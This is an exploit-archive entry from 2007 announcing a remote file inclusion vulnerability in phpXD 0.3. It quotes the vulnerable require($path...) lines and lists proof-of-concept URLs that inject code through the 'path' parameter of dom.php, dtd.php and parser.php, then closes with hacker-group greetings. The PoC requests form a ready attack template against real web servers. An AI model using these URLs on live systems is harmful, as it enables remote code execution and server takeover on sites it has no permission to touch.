[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : phpXD <= 0.3 (path) Remote File Inclusion Vulnerability
# Published : 2007-01-23
# Author : 3l3ctric-Cracker
# Previous Title : BBClone 0.31 (selectlang.php) Remote File Inclusion Vulnerability
# Next Title : VisoHotlink 1.01 functions.visohotlink.php Remote File Include Exploit
_________________________________
________| |________
| Dr Max Virus | /
| | /
/ |_________________________________|
/___________) (___________
------------------------------------------------------------------------------------------------------------------------
Script:phpxd
Affected Version:0.3
Downlaoad:http://websec.science.uva.nl/~kaper/xml_archief/phpXD/phpxd_0.3.tar.gz
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (include/)
Vul Code;
require($path."include/dom/Node.php");
require($path."include/dom/Attr.php");
require($path."include/dom/CharacterData.php");
require($path."include/dom/Comment.php");
require($path."include/dom/Document.php");
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/include/dom.php?path=[Bad Code]
http://[target]/[path]/include/dtd.php?path=[Bad Code]
http://[target]/[path]/include/parser.php?path=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------
# www.Syue.com [2007-01-23]